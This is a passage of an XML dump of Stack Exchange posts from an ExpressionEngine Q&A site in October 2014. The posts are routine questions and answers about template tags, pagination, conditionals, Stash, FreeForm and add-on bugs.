  <row Id="26264" PostTypeId="2" ParentId="24484" CreationDate="2014-10-16T04:38:08.980" Score="0" Body="&lt;p&gt;Parsing dates in URLs is automatic in EE; you don't need to build a query for that: &lt;a href=&quot;https://ellislab.com/forums/viewthread/212166/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/212166/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2014-10-16T04:38:08.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26265" PostTypeId="1" CreationDate="2014-10-16T04:47:04.667" Score="0" ViewCount="52" Body="&lt;p&gt;I'm new to pagination, but not EE so much. I'm working on a site where the front page is basically short news items, preceded by one &quot;featured&quot; item. I'm limiting to 10 news items per page, so I'm using &quot;paginate_base&quot; to indicate that for the following pages, I want a different template to be called (first page is &quot;news&quot; with the &quot;featured&quot; item, and following pages are on the template &quot;continued,&quot; without the &quot;featured&quot; item).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's working fine moving into old entries. But when I want to go back, I want the link for the &quot;first&quot; page to go back to the original &quot;news&quot; template, rather than the &quot;continued&quot; template. To try to be more clear, to go back to the template that has the &quot;featured&quot; item, whereas currently &quot;first&quot; takes me back to the &quot;continued&quot; template with the first news items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I'm explaining this clearly; but any thoughts on if I'm approaching this correctly would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2014-10-22T01:54:20.393" Title="pagination: getting &quot;first&quot; to be the original page when paginate_base is different" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26266" PostTypeId="2" ParentId="26259" CreationDate="2014-10-16T07:20:08.963" Score="2" Body="&lt;p&gt;I see this is missing in the &lt;a href=&quot;https://github.com/low/low_search_store&quot; rel=&quot;nofollow&quot;&gt;Low Search Store&lt;/a&gt; docs, but try this: &lt;code&gt;orderby=&quot;store:price&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-10-16T07:20:08.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26267" PostTypeId="1" AcceptedAnswerId="26478" CreationDate="2014-10-16T09:48:39.903" Score="0" ViewCount="64" Body="&lt;p&gt;We running a site which uses MSM and Structure. To get around the 'category' issue in Structure, we've added Zoo triggers, which works great on the &lt;code&gt;default_site&lt;/code&gt; but not so well in the MSM sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the MSM sites, we're pulling team entries from the master site, but in doing so, we seem to have lost all segment variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;code&gt;{segment_4}&lt;/code&gt;, &lt;code&gt;{triggers:cat_name_1}&lt;/code&gt;, &lt;code&gt;{segment_4_category_id}&lt;/code&gt; (Low seg2cat), &lt;code&gt;{last_segment_category_id}&lt;/code&gt; (seg2cat), &lt;code&gt;{triggers:cat_id_1}&lt;/code&gt; and &lt;code&gt;{triggers:cat_id_last}&lt;/code&gt; and none of them return a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The triggers variables just output the tag to screen, but I would have expected the native tag to work in this case, or seg2cat. My guess is the parse order gets borked by the structure/triggers combination, but without segment variables, we're pretty limited in terms of what we can do on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running 2.9.0 with the latest version of structure and triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-10-28T20:07:27.257" Title="No segment variables - Zoo Triggers and MSM" Tags="|multi-site-manager|structure|segments|zoo-triggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26268" PostTypeId="2" ParentId="16628" CreationDate="2014-10-16T10:04:02.077" Score="0" Body="&lt;p&gt;For anyone else who might have the same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Answer is, yes you can. Just put your regular {exp:channel:entries} code in either the message or subject and it renders like in any other template. Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;your_channel&quot; limit=&quot;1&quot;}&lt;br /&gt;&#xA;Your message {relationship_field}{relationship_field:your_field_that_you_need}{/relationship_field}&lt;br /&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the question was older, it might be that the reasons it works is that I am on a newer version (EE 2.9.2 and Postmaster 1.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I am glad to help&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2014-10-16T10:04:02.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26271" PostTypeId="2" ParentId="26267" CreationDate="2014-10-16T14:19:48.117" Score="0" Body="&lt;p&gt;I don't believe you can access site URLs from another site using MSM. I think it's an EE limitation.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-10-16T14:19:48.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26272" PostTypeId="1" AcceptedAnswerId="26274" CreationDate="2014-10-16T14:45:33.847" Score="0" ViewCount="99" Body="&lt;p&gt;I'm wanting to dynamically populate a switchee value, I've tried using an embed, but it seems the parse order means this won't work so I'm looking for aternative ideas, this is the code we've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;{embed='site/_school-list'}&quot;}&#xA;        {redirect=&quot;/contribute/school/{segment_1}&quot;}&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;        Otherwise go here   &#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I want to automatically pull out all of the entries from the school channel and get their {url_title}, then check it against {segment_1}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in the embed is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;schools&quot; dynamic=&quot;no&quot; limit=&quot;99999&quot;}{url_title}|{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is outputting correctly when tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-10-17T09:44:12.363" Title="Dynamically setting case value with switchee" Tags="|segments|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26273" PostTypeId="2" ParentId="22449" CreationDate="2014-10-16T14:48:51.020" Score="0" Body="&lt;p&gt;Turns out this was due to the transcribe module doing strange things, once disabled everything worked as expected&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-10-16T14:48:51.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26274" PostTypeId="2" ParentId="26272" CreationDate="2014-10-16T15:24:28.993" Score="4" Body="&lt;p&gt;While you could easily use Stash to pass the entry ids as a variable, you shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the variable would mean iterating over the entire list of entries in a channel. That's expensive just for a simple routing operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this is being run on your site's default index template, and you have strict 404s disabled, why not just redirect if &lt;code&gt;segment_1&lt;/code&gt; exists at all?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;&quot;}&#xA; {redirect=&quot;/contribute/school/{segment_1}&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your template &lt;code&gt;contribute/school&lt;/code&gt; should take care of 404s using a channel entries tag with parameters &lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;{if no_results}{redirect=&quot;404&quot;}{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-10-17T09:44:12.363" LastActivityDate="2014-10-17T09:44:12.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26275" PostTypeId="1" CreationDate="2014-10-16T15:37:35.617" Score="0" ViewCount="28" Body="&lt;p&gt;The below code no longer works with EE2.9 Have tried determining how to change it but cannot work it out. I just need to specify that if ANY of the fields exist, display the content (div/header/row/info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if jumper_colour|sash_colour|tie_colour|saddle_colour|rally_colour}&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;CLUB COLOURS&amp;lt;/h4&amp;gt;&#xA;&#xA;  {if jumper_colour}&amp;lt;div id=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;ff&quot;&amp;gt;&amp;lt;h5&amp;gt;Jumper:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;ee&quot;&amp;gt;&amp;lt;p&amp;gt;{jumper_colour}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;{/if}&#xA;  {if sash_colour}&amp;lt;div id=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;ff&quot;&amp;gt;&amp;lt;h5&amp;gt;Sash:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;ee&quot;&amp;gt;&amp;lt;p&amp;gt;{sash_colour}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;{/if}&#xA;  {if tie_colour}&amp;lt;div id=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;ff&quot;&amp;gt;&amp;lt;h5&amp;gt;Tie:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;ee&quot;&amp;gt;&amp;lt;p&amp;gt;{tie_colour}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;{/if}&#xA;  {if saddle_colour}&amp;lt;div id=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;ff&quot;&amp;gt;&amp;lt;h5&amp;gt;Saddle Cloth:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;ee&quot;&amp;gt;&amp;lt;p&amp;gt;{saddle_colour}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div&amp;gt;{/if}&#xA;  {if rally_colour}&amp;lt;div id=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;ff&quot;&amp;gt;&amp;lt;h5&amp;gt;Rally Uniform:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;ee&quot;&amp;gt;&amp;lt;p&amp;gt;{rally_colour}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;{/if}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2014-10-16T15:49:24.090" Title="Error after EE2.9 update. Conditional fix required" Tags="|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26276" PostTypeId="2" ParentId="26275" CreationDate="2014-10-16T15:49:24.090" Score="1" Body="&lt;p&gt;Ok finally worked out that all i needed to do was add a double pipe character between fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if jumper_colour || sash_colour || tie_colour || saddle_colour || rally_colour}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2014-10-16T15:49:24.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26277" PostTypeId="1" CreationDate="2014-10-16T16:02:10.197" Score="0" ViewCount="222" Body="&lt;p&gt;I have been trying to implement a calendar by using the calendar module by solspace, but I keep getting this error that says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The query you submitted is not valid.&#xA;Filename: third_party/transcribe/ext.transcribe.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether the problem is caused by transcribe or the calendar module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my tag code below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;  {exp:calendar:cal&#xA;      {if segment_3 == &quot;by_calendar&quot;}&#xA;         {if segment_5 == ''}calendar_name=&quot;{segment_4}&quot; date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;{/if}&#xA;         {if segment_5 != ''}calendar_name=&quot;{segment_4}&quot; date_range_start=&quot;{segment_5}-{segment_6}-01&quot; date_range_end=&quot;{segment_5}-{segment_6}-last&quot;{/if}&#xA;      {/if}&#xA;      {if segment_3 != &quot;by_calendar&quot;}&#xA;         {if segment_3 == ''}date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;{/if}&#xA;         {if segment_3 != &quot;&quot;}date_range_start=&quot;{segment_3}-{segment_4}-01&quot; date_range_end=&quot;{segment_3}-{segment_4}-last&quot;{/if}&#xA;      {/if}&#xA;   }&lt;/pre&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-10-16T16:02:10.197" Title="How can I solve this error with transcribe?" Tags="|ee2|solspace|solspace-calendar|calendar|transcribe|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26280" PostTypeId="1" CreationDate="2014-10-16T17:27:42.067" Score="0" ViewCount="21" Body="&lt;p&gt;Www.batterywarehouse.co.uk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All forms except the simple&#xA;Front page add to basket forms are failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkout form redirects to the same page and fails to direct to the external payment provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Ian&lt;/p&gt;&#xA;" OwnerUserId="1728" LastActivityDate="2014-10-16T17:27:42.067" Title="Cartthrob forms not working" Tags="|ee2|cartthrob|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26281" PostTypeId="2" ParentId="26265" CreationDate="2014-10-16T19:28:39.617" Score="2" Body="&lt;p&gt;You might take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ab-pagination&quot; rel=&quot;nofollow&quot;&gt;AB Pagination&lt;/a&gt; add-on that would give you much more control over how it's output, as well as pointing back to your original template page for the first page link.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-16T19:28:39.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26282" PostTypeId="2" ParentId="26260" CreationDate="2014-10-16T19:41:12.340" Score="1" Body="&lt;p&gt;I would take a look at using an add-on like &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;FreeForm&lt;/a&gt; to manage the actual event Registration. You would then be able to use the Form Composer functionality to build a form for each event with the specific questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would have your Event channel which would have the custom fields that you needed to display info about the event and to that you would add the included FreeForm fieldtype as a field. This would allow you to then select from a dropdown the Form that you built for the specific event. They have a bit of information about doing this in their docs &lt;a href=&quot;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-10-16T19:41:12.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26283" PostTypeId="2" ParentId="26201" CreationDate="2014-10-16T19:46:50.450" Score="0" Body="&lt;p&gt;Short of modifying the core files to not show incomplete orders your best bet would be to use the Order Status dropdown to change the status to your successful order status which by default is &quot;New&quot;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-10-16T19:46:50.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26284" PostTypeId="2" ParentId="26138" CreationDate="2014-10-16T19:54:04.277" Score="0" Body="&lt;p&gt;The only way that this might work is if the user was logged in and has their profile filled out. They would need to have the Country/State/Zip filled out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store creates a new session tied to a Cart ID when you add a product to the cart which loads any existing shipping/billing information, clearing the cart kills that session clearing any billing/shipping info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet would be to have the user add the first item to the cart and after they have done that you can use the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag pair to collect their Country/State/Zip (which ever you are using to set the tax rates) so that you can calculate the tax rate.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-10-16T19:54:04.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26285" PostTypeId="1" CreationDate="2014-10-16T21:35:54.530" Score="0" ViewCount="125" Body="&lt;p&gt;I'm using Expresso Store 1.6.5. and I'm having trouble with the order email templates that get sent out to buyers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to include variables like {you_save},{you_save_percent},{sale_price},{promo_code_value},{promo_code_type} and a few others. Ideally I would also include product photos as well as a link to the products themselves but it's not a huge deal...but for some reason those variables aren't appearing. They are wrapped inside an {items} tag but I still can't get them to show up. I've checked the documentation and it says they should be available. I've also tried wrapping the items tag around an exp:channels tag and still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a more complex e-mail template with this kind of information? Am I missing something obvious&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2016-05-27T14:59:40.440" Title="Store email template variables not working" Tags="|expresso-store|html-email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26286" PostTypeId="2" ParentId="21797" CreationDate="2014-10-16T22:13:03.883" Score="3" Body="&lt;p&gt;I was also having this issue and found another way to fix it without updating; open third_party/channel_images/models/channel_images_model.php and edit line 525:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$this-&gt;LOCS &amp;= $this-&gt;session-&gt;cache['channel_images']['locations'];&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$this-&gt;LOCS = $this-&gt;session-&gt;cache['channel_images']['locations'];&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Done. Does anyone know if this will break functionality elsewhere? I haven't encountered it if it does.&lt;/p&gt;&#xA;" OwnerUserId="3694" LastActivityDate="2014-10-16T22:13:03.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26287" PostTypeId="1" AcceptedAnswerId="26290" CreationDate="2014-10-16T23:51:23.577" Score="0" ViewCount="40" Body="&lt;p&gt;I have created a module which using curl retrieves and parses data from an external source. I have adapted the code from channel:entries so it outputs the correct values. The method handles the tags and chunks in the same way as it would a category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:sh_dictionary:translate_result dictionary=&quot;wordreference&quot;}&#xA;&#xA;    {additional}&#xA;        {exp:stash:append_list name=&quot;additional_{count}&quot;}&#xA;            {stash:sense}{sense}{/stash:sense}&#xA;            {stash:pos}{POS}{/stash:pos}&#xA;            {stash:translation}{translation}{/stash:translation}&#xA;        {/exp:stash:append_list}&#xA;    {/additional}&#xA;&#xA;    {compound}&#xA;        {exp:stash:append_list name=&quot;compound_{count}&quot;}&#xA;            {stash:sense}{sense}{/stash:sense}&#xA;            {stash:pos}{POS}{/stash:pos}&#xA;            {stash:translation}{translation}{/stash:translation}&#xA;        {/exp:stash:append_list}&#xA;    {/compound}&#xA;&#xA;{/exp:sh_dictionary:translate_result}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is if I have just the {additional} chunk I get the result I want.  And similarly if I just include the {compound} chunk. But if I include them both I get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to clear something before setting up a new list? or maybe it is the way my module parses the data. If I wrap each chunk in its own {exp:sh_dictionary:translate_result} it solves the problem but this doesn't feel right as I would need to cache the original curl results.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3435" LastActivityDate="2014-10-17T10:02:03.240" Title="Multiple Stash Sppend Lists" Tags="|ee2|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26289" PostTypeId="1" AcceptedAnswerId="26295" CreationDate="2014-10-17T08:25:02.137" Score="0" ViewCount="145" Body="&lt;p&gt;Using FreeForm Pro. I have a 2 page multipage form set up. On the first page users insert their address details. On the second page of the form I want to have a check box and if the user checks the box the address details from the first page are inserted into the address details on the second page. Similar to when you can choose your billing address to be used as your shipping address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is achieving this. I'm using javascript to try and fill the form fields on click (using a similar method to this: &lt;a href=&quot;http://jsfiddle.net/aDNH7/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/aDNH7/&lt;/a&gt;) but because i'm using the {freeform:field:address_line_1_p2} to create the field rather than hand coding the field, (as i need the data to remain on refresh ie for inline errors), I cant use {freeform:mp_data:address_line_1_lb} for example to insert into {freeform:field:address_line_1_p2 } as the data value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer a solution or advice?&#xA;Many thanks,&#xA;Ian&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-10-17T14:14:17.233" Title="Using {freeform:mp_data:FIELD_NAME} to pre-fill another field on multipage form" Tags="|solspace-freeform|solspace|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26290" PostTypeId="2" ParentId="26287" CreationDate="2014-10-17T09:56:08.177" Score="1" Body="&lt;p&gt;Before Stash gets to do anything, your custom tag should return something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:append_list name=&quot;additional_1&quot;}&#xA;        {stash:sense}sense1{/stash:sense}&#xA;        {stash:pos}pos1{/stash:pos}&#xA;        {stash:translation}translation1{/stash:translation}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {exp:stash:append_list name=&quot;additional_1&quot;}&#xA;        {stash:sense}sense2{/stash:sense}&#xA;        {stash:pos}pos2{/stash:pos}&#xA;        {stash:translation}translation2{/stash:translation}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {exp:stash:append_list name=&quot;additional_1&quot;}&#xA;        {stash:sense}sense3{/stash:sense}&#xA;        {stash:pos}pos3{/stash:pos}&#xA;        {stash:translation}translation3{/stash:translation}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {exp:stash:append_list name=&quot;compound_1&quot;}&#xA;        {stash:sense}sense1{/stash:sense}&#xA;        {stash:pos}POS1{/stash:pos}&#xA;        {stash:translation}translation1{/stash:translation}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {exp:stash:append_list name=&quot;compound_1&quot;}&#xA;        {stash:sense}sense2{/stash:sense}&#xA;        {stash:pos}POS2{/stash:pos}&#xA;        {stash:translation}translation2{/stash:translation}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {exp:stash:append_list name=&quot;compound_1&quot;}&#xA;        {stash:sense}sense3{/stash:sense}&#xA;        {stash:pos}POS3{/stash:pos}&#xA;        {stash:translation}translation3{/stash:translation}&#xA;    {/exp:stash:append_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you turn on template debugging it will tell you what tags the parser is parsing. Most likely your module isn't properly parsing your two variable pairs and only returning the tagdata for one of the pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, since you are using a custom module, why not just set the list directly from the arrays using Stash's API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Using-stash-methods-in-your-own-add-ons#set-a-list&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Using-stash-methods-in-your-own-add-ons#set-a-list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-10-17T10:02:03.240" LastActivityDate="2014-10-17T10:02:03.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26291" PostTypeId="1" CreationDate="2014-10-17T10:10:47.450" Score="1" ViewCount="89" Body="&lt;p&gt;After upgrading a site to 2.9.2 (from 2.9.0) it looks like BW required category stopped working.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is anybody else experiencing this? Can anybody reproduce ? (the add-on is widely used I believe) I get a 'You are not authorized to access this page' error&lt;/li&gt;&#xA;&lt;li&gt;From what I can see, it looks like it returns an &lt;code&gt;entry_id=0&lt;/code&gt; in the URL, which results in an error.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I disabled the quicksave extension and that's the URL I get:&#xA;&lt;code&gt;/cp/content_publish/view_entry&amp;amp;channel_id=1&amp;amp;entry_id=0&amp;amp;S=89068fcf88fe6b9aa32a5f76ed2284f4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before EE 292 upgrade I had this:&#xA;&lt;code&gt;/cp/content_publish/entry_form&amp;amp;channel_id=1&amp;amp;S=dae16113bd4f7c4803125dc2ed732045&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I contacted the dev via twitter but he says he's not updating his add-ons anymore. Must be something relatively simple to fix but cannot figure it out.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-10-20T09:27:07.597" LastActivityDate="2014-10-20T09:27:07.597" Title="Update to EE 2.9.2 and BW Required Category stopped working" Tags="|add-on|upgrade|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26292" PostTypeId="1" AcceptedAnswerId="26298" CreationDate="2014-10-17T12:02:35.127" Score="1" ViewCount="43" Body="&lt;p&gt;I'm new to EE, and have a project with a lot of database relationships.  For example, the company offers a &quot;Service&quot;, in certain &quot;Zip Codes&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I see in EE, I can create channel fields, etc, and create the relationship between a Service and the (many) zip codes to which it applies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin area, the client would be able to CRUD Zip codes, Services, and map the two appropriately.  However, some fields that are default in EE, like &quot;URL&quot;, don't make any sense for a &quot;Zip code&quot; entry.  It can be ignored, and still works, but not ideal for a non-technical client to use.  Also things like Expiration dates, and the other tabbed fields don't make sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is twofold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this appropriate way to use EE, or it is better (though more tedious) to build a custom module to manage &quot;non-content&quot; based entities?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to customize the &quot;Channel&quot; screen to hide the unnecessary fields and focus the user a bit on what they need to enter? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm just trying to get a sense of how to approach this task and how EE was meant to be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Jim&lt;/p&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2014-10-17T14:29:29.423" Title="Using EE for data relationships admin" Tags="|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26295" PostTypeId="2" ParentId="26289" CreationDate="2014-10-17T14:14:17.233" Score="0" Body="&lt;p&gt;There might be more than one way around this, but it comes down to javascript and how you set up your elements. First, simply confirming that the data from the previous form page (page 1) can be retrieved using &lt;code&gt;{freeform:mp_data:MY_FIELD_FROM_PAGE1}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On page 2, on your &lt;code&gt;{freeform:field:MY_FIELD_FOR_PAGE2}&lt;/code&gt; field, you could try the &lt;code&gt;default_value=&quot;&quot;&lt;/code&gt; parameter (see &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_field_field_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_field_field_name&lt;/a&gt;) and place &lt;code&gt;{freeform:mp_data:MY_FIELD_FROM_PAGE1}&lt;/code&gt; as the parameter value. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:MY_FIELD_FOR_PAGE2 default_value=&quot;{freeform:mp_data:MY_FIELD_FROM_PAGE1}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Parse order might get in the way, but it's worth a try. Everything would be in place from the start, and you could also add &lt;code&gt;attr:disabled=&quot;disabled&quot;&lt;/code&gt; to your &lt;code&gt;{freeform:field:MY_FIELD_FOR_PAGE2}&lt;/code&gt; fields so that they are disabled unless your special checkbox is checked.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another approach could be to store your page 